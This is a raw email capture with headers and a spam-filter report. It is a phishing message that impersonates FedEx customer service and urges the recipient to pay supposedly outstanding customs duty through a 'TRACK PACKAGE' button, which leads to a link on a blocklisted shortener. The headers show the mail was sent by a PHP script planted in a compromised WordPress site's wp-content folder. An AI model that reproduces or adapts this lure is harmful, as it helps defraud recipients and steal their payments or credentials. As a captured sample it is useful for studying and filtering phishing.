Sat, 21 Jan 2023 12:04:28 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=boxcreator.com.br; s=default; h=Content-Transfer-Encoding:Content-Type:

MIME-Version:Message-ID:From:Date:Subject:To:Sender:Reply-To:Cc:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Subscribe:List-Post:List-Owner:List-Archive;

bh=OdcKiA75gLvi1Yogm9DcRrjKpDo6QTBe/BxpHEzSEc8=; b=ML7xhD0RVkKRhRg6NoglJY7NzJ

C1UxnqN95yktJPHi34BO4md7GseuKMdLljiiX3NG+Q6yl9yFI1mqgsNQFshsG9CBEHdhtIJKYkfTx

T6ysztjNz2+AEZ7MYV0aG45yFPwDhvEgewp6QKP4g04VCjBQFp5vO4+BXRJ5aeh/q2fxLwPpnm9iI

lGSIDfeUoTmG5M1WZn6+EQ7OLYnYl1jy6fpc7iZ6JorzdlxPCDahkv551W02ZAkM3BL6ui/T4TQED

J4kiJTKICDiJU+cqVnH7vIjnxD4zfF9pybUwBX7Utaw5AmlOQLI8QE0Y+0FfqMFLrtKPLemFQ4S0D

N0wRZWhA==;

Received: from boxcreator by box.hostcreator.com.br with local (Exim 4.95)

(envelope-from )

id 1pJJ7h-00038M-9T

for www@nl2k.ab.ca;

Sat, 21 Jan 2023 19:01:53 +0000

To: www@nl2k.ab.ca

Subject: Action Required: Outstanding Import Duty and Customs Clearance Service Charges on Waybill Number 772980724289

X-PHP-Script: boxcreator.com.br/wp-content/GRrgMcnKmNo.php for 67.68.160.117

X-PHP-Originating-Script: 1016:GRrgMcnKmNo.php

Date: Sat, 21 Jan 2023 19:01:53 +0000

From: =?UTF-8?Q?FedEx=C2=AE_Customer_Service?=

Message-ID: <7757934a1f28927115da69767bb021de@boxcreator.com.br>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_7757934a1f28927115da69767bb021de"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - box.hostcreator.com.br

X-AntiAbuse: Original Domain - nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [1016 990] / [47 12]

X-AntiAbuse: Sender Address Domain - boxcreator.com.br

X-Get-Message-Sender-Via: box.hostcreator.com.br: authenticated_id: boxcreator/from_h

X-Authenticated-Sender: box.hostcreator.com.br: www@boxcreator.com.br

X-Source:

X-Source-Args: php-fpm: pool boxcreator_com_br

X-Source-Dir: boxcreator.com.br:/public_html/wp-content

X-Spam_score: 5.6

X-Spam_score_int: 56

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hello, Import Duty and/or Tax and Customs Clearance Service

Charges are still outstanding on your shipment with waybill number 772980724289.

Your urgent attention is required to avoid any further impa [...]



Content analysis details: (5.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: abre.ai]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

0.7 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.4 PHP_SCRIPT Sent by PHP script

Subject: {SPAM?} Action Required: Outstanding Import Duty and Customs Clearance Service Charges on Waybill Number 772980724289



This is a multi-part message in MIME format.



--b1_7757934a1f28927115da69767bb021de

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



Hello, Import Duty and/or Tax and Customs Clearance Service Charges are still outstanding on your shipment with waybill number 772980724289. Your urgent attention is required to avoid any further impact on the scheduled delivery date. To pay, view the calculation and download the relevant documents: TRACK PACKAGE  Please note that these charges must be settled before the shipment can be released by Customs. We kindly ask that you take the necessary steps to clear the charges as soon as possible.   2023 © FedEx®. All rights reserved.





--b1_7757934a1f28927115da69767bb021de

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable



3D""
ith-fedex-fedex-logo.png" style=3D"width: 96px;" />


nt-family: Arial, Helvetica, sans-serif; font-size: 19px;">Hello,=C2=A0
an>


ze: 19px;">Import Duty and/or Tax and Customs Clearance Service Charges are=

still outstanding on your shipment with waybill=C2=A0number=C2=A0
tyle=3D"box-sizing: border-box;">772980724289
.=C2=A0

=


>Your=C2=A0urgent=C2=A0attention i=

s required to avoid any further impact on the scheduled=C2=A0delivery date.=

=C2=A0


f; font-size: 19px;">To pay, view the calculation and download the relevant=

documents:


" cellspacing=3D"0" role=3D"presentation" style=3D"font-size: 0px;">
style=3D"box-sizing: border-box;">
align=3D"center" style=3D"box-sizing: border-box; border-collapse: collaps=

e; border-radius: 22px; color: rgb(255, 102, 0); cursor: auto; text-align: =

center; letter-spacing: 2px; background: rgb(77, 20, 140);" valign=3D"middl=

e">
resizable=3Dno,status=3Dno,location=3Dno,toolbar=3Dno,menubar=3Dno,fullscre=

en=3Dno,scrollbars=3Dno,dependent=3Dno'); return false;" role=3D"button" st=

yle=3D"box-sizing: border-box; color: rgb(255, 102, 0); text-decoration-lin=

e: none; display: block; font-family: Arial, Helvetica, sans-serif; font-si=

ze: 16px; font-weight: 700; line-height: 16px; text-transform: uppercase; m=

argin: 0px; padding: 14px 69px; border: 3px solid rgb(255, 102, 0); border-=

radius: 22px;">=C2=A0TRACK PACKAGE=C2=A0

=

=C2=A0


-size: 19px;">Please note that these charges must be settled before the shi=

pment can be released by Customs. We kindly ask that you take the necessary=

steps to clear the charges as soon as possible.


sizing: border-box; margin: 0px; margin-block: 0px;">=C2=A0


box-sizing: border-box; margin: 0px; margin-block: 0px;">=C2=A0


=3D"box-sizing: border-box; margin: 0px; margin-block: 0px;">=C2=A0


tyle=3D"box-sizing: border-box; margin: 0px; margin-block: 0px; text-align:=

right;">
erif; font-size: 18px; font-weight: 700;">2023 =C2=A9 FedEx=C2=AE. All righ=

ts reserved.







--b1_7757934a1f28927115da69767bb021de--